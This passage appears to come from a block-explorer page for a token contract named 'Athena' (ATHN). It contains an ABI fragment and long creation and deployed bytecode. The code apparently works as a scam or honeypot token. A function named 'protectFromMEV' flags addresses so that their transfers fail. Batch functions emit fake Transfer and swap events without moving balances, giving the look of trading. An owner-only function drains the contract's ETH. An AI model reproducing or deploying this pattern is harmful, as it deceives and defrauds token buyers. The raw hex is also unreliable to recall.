ateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600681526020017f417468656e6100000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4154484e0000000000000000000000000000000000000000000000000000000081525081816200016562000159620001e260201b60201c565b620001ea60201b60201c565b81600690805190602001906200017d9291906200042f565b508060079080519060200190620001969291906200042f565b5050505050620001dc33620001b0620002ae60201b60201c565b600a620001be919062000679565b64e8d4a51000620001d09190620006ca565b620002b760201b60201c565b6200089d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000320906200078c565b60405180910390fd5b6200033d600083836200042560201b60201c565b8060046000828254620003519190620007ae565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040591906200081c565b60405180910390a362000421600083836200042a60201b60201c565b5050565b505050565b505050565b8280546200043d9062000868565b90600052602060002090601f016020900481019282620004615760008555620004ad565b82601f106200047c57805160ff1916838001178555620004ad565b82800160010185558215620004ad579182015b82811115620004ac5782518255916020019190600101906200048f565b5b509050620004bc9190620004c0565b5090565b5b80821115620004db576000816000905550600101620004c1565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200056d57808604811115620005455762000544620004df565b5b6001851615620005555780820291505b808102905062000565856200050e565b945062000525565b94509492505050565b6000826200058857600190506200065b565b816200059857600090506200065b565b8160018114620005b15760028114620005bc57620005f2565b60019150506200065b565b60ff841115620005d157620005d0620004df565b5b8360020a915084821115620005eb57620005ea620004df565b5b506200065b565b5060208310610133831016604e8410600b84101617156200062c5782820a905083811115620006265762000625620004df565b5b6200065b565b6200063b84848460016200051b565b92509050818404811115620006555762000654620004df565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006868262000662565b915062000693836200066c565b9250620006c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000576565b905092915050565b6000620006d78262000662565b9150620006e48362000662565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000720576200071f620004df565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000774601f836200072b565b915062000781826200073c565b602082019050919050565b60006020820190508181036000830152620007a78162000765565b9050919050565b6000620007bb8262000662565b9150620007c88362000662565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200080057620007ff620004df565b5b828201905092915050565b620008168162000662565b82525050565b60006020820190506200083360008301846200080b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200088157607f821691505b60208210810362000897576200089662000839565b5b50919050565b6123cd80620008ad6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b604051610167919061179f565b60405180910390f35b61018a6004803603810190610185919061185f565b6104ee565b60405161019791906118ba565b60405180910390f35b6101a8610511565b6040516101b591906118e4565b60405180910390f35b6101d860048036038101906101d391906118ff565b61051b565b6040516101e591906118ba565b60405180910390f35b6101f661054a565b604051610203919061196e565b60405180910390f35b61022660048036038101906102219190611989565b610553565b005b610242600480360381019061023d919061185f565b61059f565b60405161024f91906118ba565b60405180910390f35b610272600480360381019061026d9190611989565b6105d6565b60405161027f91906118ba565b60405180910390f35b6102a2600480360381019061029d9190611989565b61062c565b6040516102af91906118e4565b60405180910390f35b6102d260048036038101906102cd9190611a71565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b25565b61077f565b005b610314600480360381019061030f9190611b72565b610909565b005b61031e610a95565b60405161032b9190611bf5565b60405180910390f35b61033c610abe565b604051610349919061179f565b60405180910390f35b61036c60048036038101906103679190611b72565b610b50565b005b6103886004803603810190610383919061185f565b610cdb565b60405161039591906118ba565b60405180910390f35b6103b860048036038101906103b3919061185f565b610d52565b6040516103c591906118ba565b60405180910390f35b6103e860048036038101906103e391906118ff565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c10565b610e30565b60405161041b91906118e4565b60405180910390f35b61043e60048036038101906104399190611b25565b610eb7565b005b61045a60048036038101906104559190611989565b610f64565b005b60606006805461046b90611c7f565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c7f565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cdf565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d35565b5b90506020020160208101906106ab9190611989565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d35565b5b90506020020160208101906106e99190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d35565b5b9050602002013560405161074791906118e4565b60405180910390a3808061075a90611d64565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d35565b5b90506020020160208101906107c39190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d35565b5b90506020020160208101906108759190611989565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d35565b5b90506020020160208101906108d79190611989565b61062c565b6040516108e991906118e4565b60405180910390a380806108fc90611d64565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d35565b5b905060200201602081019061093f9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df1565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d35565b5b9050602002016020810190610a2e9190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e4565b60405180910390a38080610a8690611d64565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c7f565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c7f565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d35565b5b9050602002016020810190610b869190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e36565b60405180910390a3848482818110610c2657610c25611d35565b5b9050602002016020810190610c3b9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e4565b60405180910390a38080610ccc90611d64565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611eed565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e4565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d35565b5b9050602002016020810190610efb9190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d64565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f7f565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590612011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c4906120a3565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118e4565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112279061210f565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906121a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612233565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab906122c5565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a79061230b565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a191906118e4565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d90612377565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b8381111561174f576000848401525b50505050565b6000601f19601f8301169050919050565b600061177182611706565b61177b8185611711565b935061178b818560208601611722565b61179481611755565b840191505092915050565b600060208201905081810360008301526117b98184611766565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117f6826117cb565b9050919050565b611806816117eb565b811461181157600080fd5b50565b600081359050611823816117fd565b92915050565b6000819050919050565b61183c81611829565b811461184757600080fd5b50565b60008135905061185981611833565b92915050565b60008060408385031215611876576118756117c1565b5b600061188485828601611814565b92505060206118958582860161184a565b9150509250929050565b60008115159050919050565b6118b48161189f565b82525050565b60006020820190506118cf60008301846118ab565b92915050565b6118de81611829565b82525050565b60006020820190506118f960008301846118d5565b92915050565b600080600060608486031215611918576119176117c1565b5b600061192686828701611814565b935050602061193786828701611814565b92505060406119488682870161184a565b9150509250925092565b600060ff82169050919050565b61196881611952565b82525050565b6000602082019050611983600083018461195f565b92915050565b60006020828403121561199f5761199e6117c1565b5b60006119ad84828501611814565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119db576119da6119b6565b5b8235905067ffffffffffffffff8111156119f8576119f76119bb565b5b602083019150836020820283011115611a1457611a136119c0565b5b9250929050565b60008083601f840112611a3157611a306119b6565b5b8235905067ffffffffffffffff811115611a4e57611a4d6119bb565b5b602083019150836020820283011115611a6a57611a696119c0565b5b9250929050565b60008060008060008060608789031215611a8e57611a8d6117c1565b5b600087013567ffffffffffffffff811115611aac57611aab6117c6565b5b611ab889828a016119c5565b9650965050602087013567ffffffffffffffff811115611adb57611ada6117c6565b5b611ae789828a016119c5565b9450945050604087013567ffffffffffffffff811115611b0a57611b096117c6565b5b611b1689828a01611a1b565b92509250509295509295509295565b60008060208385031215611b3c57611b3b6117c1565b5b600083013567ffffffffffffffff811115611b5a57611b596117c6565b5b611b66858286016119c5565b92509250509250929050565b60008060008060608587031215611b8c57611b8b6117c1565b5b600085013567ffffffffffffffff811115611baa57611ba96117c6565b5b611bb6878288016119c5565b94509450506020611bc98782880161184a565b9250506040611bda8782880161184a565b91505092959194509250565b611bef816117eb565b82525050565b6000602082019050611c0a6000830184611be6565b92915050565b60008060408385031215611c2757611c266117c1565b5b6000611c3585828601611814565b9250506020611c4685828601611814565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9757607f821691505b602082108103611caa57611ca9611c50565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cea82611829565b9150611cf583611829565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d2a57611d29611cb0565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d6f82611829565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611da157611da0611cb0565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611ddb611dd6611dd184611dac565b611db6565b611829565b9050919050565b611deb81611dc0565b82525050565b6000608082019050611e066000830187611de2565b611e1360208301866118d5565b611e2060408301856118d5565b611e2d6060830184611de2565b95945050505050565b6000608082019050611e4b60008301876118d5565b611e586020830186611de2565b611e656040830185611de2565b611e7260608301846118d5565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ed7602583611711565b9150611ee282611e7b565b604082019050919050565b60006020820190508181036000830152611f0681611eca565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f69602683611711565b9150611f7482611f0d565b604082019050919050565b60006020820190508181036000830152611f9881611f5c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ffb602483611711565b915061200682611f9f565b604082019050919050565b6000602082019050818103600083015261202a81611fee565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061208d602283611711565b915061209882612031565b604082019050919050565b600060208201905081810360008301526120bc81612080565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120f9601d83611711565b9150612104826120c3565b602082019050919050565b60006020820190508181036000830152612128816120ec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061218b602583611711565b91506121968261212f565b604082019050919050565b600060208201905081810360008301526121ba8161217e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061221d602383611711565b9150612228826121c1565b604082019050919050565b6000602082019050818103600083015261224c81612210565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122af602683611711565b91506122ba82612253565b604082019050919050565b600060208201905081810360008301526122de816122a2565b9050919050565b50565b60006122f5600083611711565b9150612300826122e5565b600082019050919050565b60006020820190508181036000830152612324816122e8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612361602083611711565b915061236c8261232b565b602082019050919050565b6000602082019050818103600083015261239081612354565b905091905056fea2646970667358221220b3309d9de152e05ae3e799d07fa4b971ab9b871edd3eba14ee67c385d44a50ee64736f6c634300080e0033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b604051610167919061179f565b60405180910390f35b61018a6004803603810190610185919061185f565b6104ee565b60405161019791906118ba565b60405180910390f35b6101a8610511565b6040516101b591906118e4565b60405180910390f35b6101d860048036038101906101d391906118ff565b61051b565b6040516101e591906118ba565b60405180910390f35b6101f661054a565b604051610203919061196e565b60405180910390f35b61022660048036038101906102219190611989565b610553565b005b610242600480360381019061023d919061185f565b61059f565b60405161024f91906118ba565b60405180910390f35b610272600480360381019061026d9190611989565b6105d6565b60405161027f91906118ba565b60405180910390f35b6102a2600480360381019061029d9190611989565b61062c565b6040516102af91906118e4565b60405180910390f35b6102d260048036038101906102cd9190611a71565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b25565b61077f565b005b610314600480360381019061030f9190611b72565b610909565b005b61031e610a95565b60405161032b9190611bf5565b60405180910390f35b61033c610abe565b604051610349919061179f565b60405180910390f35b61036c60048036038101906103679190611b72565b610b50565b005b6103886004803603810190610383919061185f565b610cdb565b60405161039591906118ba565b60405180910390f35b6103b860048036038101906103b3919061185f565b610d52565b6040516103c591906118ba565b60405180910390f35b6103e860048036038101906103e391906118ff565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c10565b610e30565b60405161041b91906118e4565b60405180910390f35b61043e60048036038101906104399190611b25565b610eb7565b005b61045a60048036038101906104559190611989565b610f64565b005b60606006805461046b90611c7f565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c7f565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cdf565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d35565b5b90506020020160208101906106ab9190611989565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d35565b5b90506020020160208101906106e99190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d35565b5b9050602002013560405161074791906118e4565b60405180910390a3808061075a90611d64565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d35565b5b90506020020160208101906107c39190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d35565b5b90506020020160208101906108759190611989565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d35565b5b90506020020160208101906108d79190611989565b61062c565b6040516108e991906118e4565b60405180910390a380806108fc90611d64565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d35565b5b905060200201602081019061093f9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df1565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d35565b5b9050602002016020810190610a2e9190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e4565b60405180910390a38080610a8690611d64565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c7f565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c7f565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d35565b5b9050602002016020810190610b869190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e36565b60405180910390a3848482818110610c2657610c25611d35565b5b9050602002016020810190610c3b9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e4565b60405180910390a38080610ccc90611d64565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611eed565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e4565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d35565b5b9050602002016020810190610efb9190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d64565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f7f565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590612011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a0000000